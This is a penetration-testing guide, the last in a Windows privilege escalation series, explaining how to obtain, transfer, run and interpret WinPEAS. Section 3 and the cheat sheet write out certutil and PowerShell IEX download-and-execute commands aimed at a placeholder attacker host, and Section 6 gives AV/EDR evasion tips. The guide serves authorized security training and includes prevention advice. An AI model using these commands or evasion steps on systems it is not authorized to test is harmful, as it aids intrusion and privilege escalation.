

Windows Privilege Escalation: WinPEAS

This is the seventh and final guide in the Windows Privilege Escalation series, playing exactly the same role LinPEAS played closing out the companion Linux series: it doesn't teach a new technique, it automates the discovery-phase enumeration commands from every guide before it — Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation, SeImpersonatePrivilege, Juicy Potato, and PrintSpoofer — into one script, run once, with color-coded, prioritized output. Worth locking in the distinction immediately: **Part 1 covers what WinPEAS actually does and how to run it correctly across different Windows access scenarios — Part 2 covers reading and prioritizing its output effectively**, since exactly as with LinPEAS, the tool's value is entirely contingent on already understanding what each finding means and how to exploit it — knowledge this entire series was built to provide first.

1. What WinPEAS Actually Is — The Foundation

WinPEAS (the Windows sibling tool within the same PEASS-ng project as LinPEAS) is a single executable/script that runs the enumeration checks from essentially every technique category covered in this series, plus many additional checks, in one automated pass:

```
Manually, across your prior six guides, you would run:
wmic service get name,pathname,startmode      (Unquoted Service Paths)
reg query HKLM...\Installer /v                 (AlwaysInstallElevated)
AlwaysInstallElevated
whoami /priv                                    (Token Impersonation / SeImpersonatePrivilege)
Get-Service -Name Spooler                      (PrintSpoofer's specific precondition)
systeminfo                                     (relevant to CLSID/version selection for Juicy Potato)
```

... and dozens more checks beyond what any single guide in this series covered (installed software versions, AlwaysInstallElevated's sibling registry misconfigurations, scheduled tasks, saved credentials, unattended install files, and much more)

WinPEAS runs ALL of this, plus significantly more, in ONE execution, then COLOR-CODES output by likely exploitability - functionally identical in role and design philosophy to LinPEAS

from the companion series, adapted entirely to Windows-specific mechanisms

The single fact this guide is built around — WinPEAS doesn't find anything a sufficiently thorough manual pass through this entire series wouldn't also find; its value is speed and coverage completeness, exactly the same value proposition LinPEAS offered for the Linux series, and the actual EXPLOITATION of whatever it finds still requires the technique-specific knowledge from guides one through six.

PART 1: Running WinPEAS Correctly

2. Obtaining and Choosing the Right Variant

```
WinPEAS ships in several forms from the official PEASS-ng
repository:
  winPEAS.exe           → compiled executable, most feature-complete,
                        requires being able to transfer and
                        execute a binary on the target
  winPEASx86.exe /
  winPEASx64.exe       → architecture-specific compiled
                        variants
  winPEAS.bat           → batch-script version, useful in
                        heavily locked-down environments
                        where executing arbitrary
                        binaries is restricted but
                        batch/cmd execution isn't
  winPEAS.ps1 (via various
    community wrapper projects) → PowerShell-based variant,
                        useful for fileless/in-memory
                        execution scenarios
```

ALWAYS verify you're downloading from the official PEASS-ng GitHub repository specifically - the SAME supply-chain caution your LinPEAS guide's Section 2 flagged applies identically here, arguably with EVEN more importance given how routinely a compiled .exe (rather than a plain shell script) gets fetched and run with elevated intent during real engagements

3. Transferring and Executing the Tool

```
# from an attacking machine serving the file:
python3 -m http.server 8000
```

```
# on the target, depending on available shell capability:
certutil.exe -urlcache -f http://attacker-ip:8000/winPEASx6
4.exe winpeas.exe
.\winpeas.exe
```

```
# or, for fileless execution via PowerShell (analogous to L
inPEAS's
# piped curl execution in the Linux series):
IEX(New-Object Net.WebClient).DownloadString('http://attack
er-ip:8000/winPEAS.ps1')
```

certutil is a commonly available, LEGITIMATE built-in Windows utility frequently repurposed for file transfer in exactly this context, since it's present by default and often overlooked by basic application-allowlisting configurations compared to more obviously "hacking tool"-associated transfer methods

4. Useful Execution Flags

winpeas.exe quiet	→ suppresses some verbos
e/	
	explanatory output,
useful	
	once you're already
familiar	
	with what each sect
ion means	
winpeas.exe systeminfo	→ run ONLY the system-i
nformation	
	section, useful fo
r a fast,	
	targeted check
winpeas.exe filesinfo domain	→ domain-specific check
s, relevant	
	in an Active Direc
tory context	
	beyond this serie

s' standalone-

host scope

5. Capturing and Reviewing Output Properly

```
.\winpeas.exe > winpeas_output.txt
# note: piping through a redirect can sometimes strip ANSI
color
# codes depending on the exact shell/terminal - reviewing o
utput
# directly in a color-capable terminal session, or using a
tool
# that preserves/renders ANSI codes when reviewing the save
d file
# afterward, gives a meaningfully better review experience
than a
# plain-text dump, exactly the same consideration your LinP
EAS
# guide's Section 4 raised for the Linux equivalent
```

6. AV/EDR Considerations — A Windows-Specific Complication

WinPEAS, being a compiled executable with a well-known reputation as offensive security tooling, is FAR more likely to be flagged by antivirus/EDR products than LinPEAS's plain shell script typically is on Linux targets - this is a genuinely significant practical difference from the Linux series worth flagging explicitly:

- The .bat and .ps1 variants (Section 2) sometimes evade signature-based detection where the compiled .exe doesn't, though this varies significantly by target's specific security tooling
- Running via IEX/in-memory execution (Section 3) avoids writing the executable to disk, relevant to certain EDR detection approaches specifically watching for known-malicious file hashes
- On heavily monitored targets, consider running WinPEAS's SPECIFIC section flags (Section 4) targeting just the checks most relevant to your current hypothesis, rather than a full sweep, to minimize the overall footprint/detection surface

PART 2: Reading & Prioritizing WinPEAS Output

7. The Color-Coding System

WinPEAS colors findings by likely severity/exploitability, using the same general philosophy as LinPEAS:

RED	→ very likely exploitable, investigate FIRST
YELLOW	→ possibly interesting, worth review
GREEN	→ generally positive/expected findings (less common to see highlighted this way compared to LinPEAS's simpler two/three-tier scheme)

As with LinPEAS, treat this coloring as a starting point for review ORDER, not a final verdict - the same false-positive considerations from your LinPEAS guide's Section 10 apply equally here

8. Mapping WinPEAS Sections Back to This Series' Guides

WinPEAS output section	→ corresponding guide in this series
"Services Information" / unquoted paths	→ Unquoted Service Paths guide
"AlwaysInstallElevated" checks	→ AlwaysInstallElevated guide
"Current Token Privileges" section	→ Token Impersonation / SeImpersonatePrivilege guides
"Services" running-status checks (specifically flagging Spooler)	→ PrintSpoofer's Print Spooler precondition
"System Information" (OS version/build)	→ Juicy Potato's CLSID/ version-selection step

This mapping is the actual point of working through the six prior guides before this one — WinPEAS's output is only genuinely actionable if you already know, for each section, what a positive finding MEANS and how to exploit it, exactly the same principle your LinPEAS guide's Section 8 established for its companion series.

9. The "Current Token Privileges" Section Specifically

WinPEAS automatically highlights SeImpersonatePrivilege (and other notable privileges - SeDebugPrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, and more) directly in its output, color-coded, without requiring a separate manual `whoami /priv` check - this is the single most directly actionable section for this series specifically, since it's the shared precondition your Token Impersonation, SeImpersonatePrivilege, Juicy Potato, and PrintSpoofer guides all depend on

10. Distinguishing Genuine Findings From Noise

Common sources of false-positive or low-value findings in WinPEAS output, mirroring your LinPEAS guide's Section 10 discussion:

- AlwaysInstallElevated checks reporting on registry keys that are technically READABLE but not actually both set to 1 (recheck against your AlwaysInstallElevated guide's Section 2 dual-key requirement explicitly, don't assume from a colored highlight alone)
- Services with unquoted paths that DON'T actually have any writable intermediate directory (recheck against your Unquoted Service Paths guide's Section 3 permission check specifically)
- SeImpersonatePrivilege shown as present but in a DISABLED state, requiring the additional enable step your SeImpersonatePrivilege guide's Section 2 described before actual exploitation is possible

11. Building a Prioritized Exploitation Plan From the Output

1. Check the "Current Token Privileges" section FIRST (Section 9) - given how common SeImpersonatePrivilege is by default on many service-account footholds, this is frequently the fastest path to escalation in this entire series
2. If SeImpersonatePrivilege is present, immediately cross-check Print Spooler's running status (also in WinPEAS output) to decide between PrintSpooler and Juicy Potato/JuicyPotatoNG as your first attempt
3. Check AlwaysInstallElevated findings next given Section 10's caveat about verifying BOTH keys explicitly - a fast, clean win when genuinely present
4. Review unquoted service path findings, filtering against Section 10's writable-directory caveat before investing exploitation effort in any single result
5. Note the target's exact OS version/build from WinPEAS's system information section to inform CLSID selection if falling back to the original Juicy Potato tool

12. Testing Methodology

1. Confirm the tool source is the official PEASS-ng repository (Section 2) before transferring/executing anything
2. Choose the appropriate variant (.exe/.bat/.ps1) based on the target's detection posture and your available execution method (Sections 2-3, 6)
3. Run a full sweep on any new target, saving output for review (Section 5)
4. Work through Section 8's mapping systematically, prioritizing

- per Section 11's ordering, rather than jumping straight to whatever's most heavily colored
5. Cross-reference every promising finding against the relevant guide's specific verification steps from earlier in this series before attempting exploitation
 6. On detection-sensitive engagements, consider targeted section flags (Section 4) over a full sweep to manage AV/EDR exposure per Section 6's consideration

13. Legal & Ethical Note

Identical baseline authorization requirement to every guide in this series and its Linux companion. Given Section 6's AV/EDR discussion, be additionally mindful that running WinPEAS may generate security alerts even during a fully authorized engagement - confirm the client's security operations team is aware per the engagement's agreed rules of engagement/detection-testing scope, particularly relevant if the engagement includes a detection-evasion or "assumed breach" component where alerting behavior itself is part of what's being assessed.

14. Prevention — Defending Against Automated Enumeration

- Every prevention measure across all six prior guides in this series applies here unchanged - WinPEAS doesn't create new vulnerabilities, it finds existing ones faster, exactly the same point your LinPEAS guide made for its own series
- Ensure AV/EDR signatures are current and specifically tuned to detect known offensive enumeration tooling including WinPEAS's various forms (compiled .exe, .bat, and common .ps1 wrapper patterns) - a meaningfully more available detection layer here than for LinPEAS's plainer shell-script equivalent, worth actively leveraging as a genuine, practical defensive advantage
- Regularly run WinPEAS defensively against your own environment's systems as part of routine hardening review, exactly the same proactive-use recommendation your LinPEAS guide closed with

15. Practical Lab Example

This guide's exercise is the capstone for the entire seven-part Windows series - run WinPEAS against every lab VM you've already built across the Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation, SeImpersonatePrivilege, Juicy Potato, and

PrintSpoofer guides' own exercises, and confirm it independently rediscovers every finding you identified manually.

Suggested practice order:

1. Run winPEAS.exe against your accumulated lab environment(s) from this entire series, saving full output
2. Work through Section 8's mapping table and confirm you can locate each prior manual finding within the corresponding WinPEAS output section, paying particular attention to the "Current Token Privileges" section given its central role across four of this series' six technique guides
3. Deliberately introduce ONE new, previously-unpracticed misconfiguration from this series without telling yourself in advance which one, run WinPEAS fresh, and practice identifying and exploiting it purely from the tool's output - the realistic version of how this tool actually gets used against an unfamiliar target during a real engagement

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	Not directly applicable to WinPEAS itself (a discovery tool, not a vulnerability) - inherits the full CWE set from every guide in this series (CWE-428, CWE-732, CWE-269)
OWASP Top 10:2025	A02:2025 Security Misconfiguration remains the dominant category across nearly everything WinPEAS surfaces, consistent with this series overall
CVSS	Not directly scored - severity is entirely a function of WHAT WinPEAS finds, inheriting each specific finding's own severity from its corresponding guide
Cyber Kill Chain	Reconnaissance / Discovery, immediately preceding the Privilege Escalation phase every other guide in this series maps to - identical positioning to LinPEAS in the companion series
MITRE ATT&CK	T1082 (System Information Discovery) and T1087 (Account Discovery) as the discovery-phase techniques WinPEAS itself performs, feeding directly into whichever specific technique ID (T1574.009, T1548.002, T1134.001) the resulting exploitation actually uses

Quick Reference Cheat Sheet

GET IT: official PEASS-ng GitHub repository - winPEAS.exe / .bat / .ps1

RUN IT:

```
certutil.exe -urlcache -f http://attacker-ip:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe > winpeas_output.txt
# or fileless: IEX(New-Object Net.WebClient).DownloadString('...winPEAS.ps1')
```

READ IT (mapping back to this series):

Services Information / unquoted paths	→ Unquoted Service Paths guide
AlwaysInstallElevated checks	→ AlwaysInstallElevated guide
Current Token Privileges	→ Token Impersonation / SeImpersonatePrivilege
Spooler service status	→ PrintSpoofer
System Information (OS build)	→ Juicy Potato CLSID selection

PRIORITIZE:

1. Current Token Privileges (SeImpersonatePrivilege especially) - fastest, most common win
2. AlwaysInstallElevated, if both registry keys genuinely set
3. Unquoted service paths, filtered against writable-directory checks

WATCH FOR (unlike LinPEAS): AV/EDR flagging - use .bat/.ps1 variants or targeted section flags on detection-sensitive engagements

Root lesson: WinPEAS automates DISCOVERY across everything this seven-guide series covered - it does not automate EXPLOITATION or JUDGMENT, and it's meaningfully more likely to trigger security tooling than its Linux counterpart. Its output is only as useful as the technique-specific knowledge you bring to interpreting it.

This closes the seven-part Windows Privilege Escalation series. The structural arc mirrors its Linux companion deliberately: two configuration-based techniques first (Unquoted Service Paths, AlwaysInstallElevated), then a genuine shift into abusing a legitimate security mechanism rather than a misconfiguration (Token Impersonation through PrintSpoofer), closing with the automated tool that ties it all together. The durable skill, exactly as with LinPEAS, isn't memorizing any single command — it's recognizing on sight which of these categories a fresh WinPEAS finding belongs to, and knowing precisely which of the six preceding guides to reach for next.